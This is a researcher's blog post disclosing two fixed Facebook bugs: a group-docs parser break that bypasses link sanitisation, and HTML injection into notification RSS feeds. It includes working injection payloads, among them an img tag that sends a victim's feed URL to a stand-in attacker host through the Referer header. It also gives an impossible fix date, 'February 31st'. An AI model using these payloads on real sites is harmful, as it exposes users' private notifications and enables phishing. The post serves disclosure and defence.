Monday, March 12, 2012

Two Facebook vulnerabilities

A while ago I realized that it's been a long time since I wrote about the web application security here, so when Facebook announced their security bug bounty program it seemed like a perfect opportunity to show off some web application security research. In this post I'll show the two bugs I found on Facebook (so far). Both bugs have been fixed on February 31st, 2012. Although these two bugs are not nearly as critical as the ones I usually write about on this blog (which just gives me further motivation to get back to Facebook bug hunting when I catch some time off my other projects, hopefully you'll read about some of those here as well), I think that they still might be interesting to other security researcher working on Facebook and web application security in general. So, without further ado:

Bug #1: Breaking the group docs parser

While examining the group docs parser I noticed an interesting way in which it handles images uploaded to group docs. Every image uploaded to a group doc gets represented in the form

(img:id)

where id is the id number of the uploaded image, for example

(img:107037326063026)

When the doc is displayed to the user, the above notation will get changed to the appropriate img html tag, for example

<img src="http://photos-g.ak.fbcdn.net/hphotos-ak-snc6/251997_107037326063026_608256_a.jpg" ... />

So, if we edit a Facebook group doc and add the text '(img:id)', where id should be an actual image id, it will be changed to appropriate '<img src=.../>' tag when the doc is displayed.

In itself this is not a problem, but the bug reveals itself if we intercept a HTTP request when editing a group doc and put something like this in the doc body

<a href='http://www.somewebsite.com/#(img:107037326063026)'></a>

When such group doc gets displayed, the above will be changed to

<a href="http://www.somewebsite.com/#<img src="http://photos-g.ak.fbcdn.net/hphotos-ak-snc6/251997_107037326063026_608256_a.jpg" fbid="107037326063026" hmac="ATqmQ6bijjIvXRta" />&quot; onmousedown=&quot;UntrustedLink.bootstrap($(this), &quot;4AQFWDRA8&quot;, event, bagof(null));&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;</a>

So again the (img:...) is replaced by <img src=.../> even though it is now contained in the 'href' property of a html anchor element

An example of this is shown in the image below


Note that the double quote opened at 'href="' is now closed by the quote in 'img src="' and that the 'a' tag is now closed by the '>' character actually belonging to the 'img' tag, thus breaking the page DOM.

So, why could this be considered a security issue? Firstly, note that normally, when you click any user-submitted link on Facebook, you don't get redirected to the link target immediately. Instead, the link is first sanitized through www.facebook.com/l.php script. This is accomplished by adding an onmousedown property to every anchor element. However, note that the above trick closes the anchor tag before the onmousedown property gets declared, thus the link sanitation is bypassed if anyone clicks this link.

Secondly, let's assume that Facebook development team makes one tiny, seemingly innocent, change in the future and allow the user to control any html property of the image added to the group doc. If something like this ever happened, this bug would become a stored XSS which, for a site like Facebook with its billion users might be considered a serious problem. Let's see how.

In this case, if the user could control some image property and add the image that would be rendered as

<img some_controllable_property=" onmouseover=alert(1) " src=...

and if the user adds the appropriate (img:id) in the href attribute of an anchor element, the html could end up displayed as

<a href="http://www.somewebsite.com/#<img some_controllable_property=" onmouseover=alert(1) " src="..."/>...

Which would execute JavaScript code controlled by the attacker (in this example, message box would be shown) if a user moves a mouse pointer over the link in the doc.

Note that, even though there is no possibility for using this as stored XSS in the current version of Facebook, I still think it's better to report this right away (It's obviously a bug) than to sit on it and wait for it to become more critical in the future.


Bug #2: Notification RSS feed HTML injection

Some background: every Facebook user has a notification RSS feed accessible through the http://www.facebook.com/notifications page. The RSS feed URL has the form

http://www.facebook.com/feeds/notifications.php?id=[id]&viewer=[viewer]&key=[key]format=rss20

To view the Facebook notifications of any user you just need to have his/her notification feed URL.

The bug is caused by the 'description' field in the RSS feed not being properly sanitized which enables arbitrary html code to be injected in the RSS feed. Although no JavaScript can be executed in the context of Facebook this way (at least it shouldn't in any decent RSS viewer) the bug could be used to disclose a notification feed URL to the attacker. The attacker can do this by injecting an img tag in the user's RSS feed. If the user views his RSS feed in the Internet Explorer (tested on IE8), when the injected image is requested, the URL of the RSS feed is sent in the http referrer header field, and can thus be sent straight to the attacker.

Let's consider the following attack scenario with two Facebook users, an attacker and a victim

1. Attacker creates a Facebook group and sets its title to "<img src="http://www.someevilwebsite.com/test.php">"

2. Attacker adds/invites a victim to the group

3. The group name (unsanitized!) automatically ends up in the notification feed of the victim

4. Victim uses Internet Explorer and clicks on her 'RSS' link in the http://www.facebook.com/notifications

5. The html code in the group title is rendered and the victim's browser makes a request to http://www.someevilwebsite.com/test.php

with the victim's RSS feed URL in the http header field.

6. Attacker listens to all http traffic to www.someevilwebsite.com and thus receives the victim's RSS feed URL from the http header.

7. When the attacker visits this URL he gets all of the victim's Facebook notifications.

A less technical, but perhaps more practical way to exploit this vulnerability would be to use it in social engineering/phishing attacks. For example, the attacker might inject html code in the victim's RSS feed that would make it appear like the user received some other (injected) notification which makes it appear that it's important for the victim to click on a link in that notification. When the victim clicks it he/she might end up on the attacker-controlled fake Facebook login page.

Note that group name was just one example of injecting code into victim's RSS feed, there were probably other attack scenarios for the same vulnerability.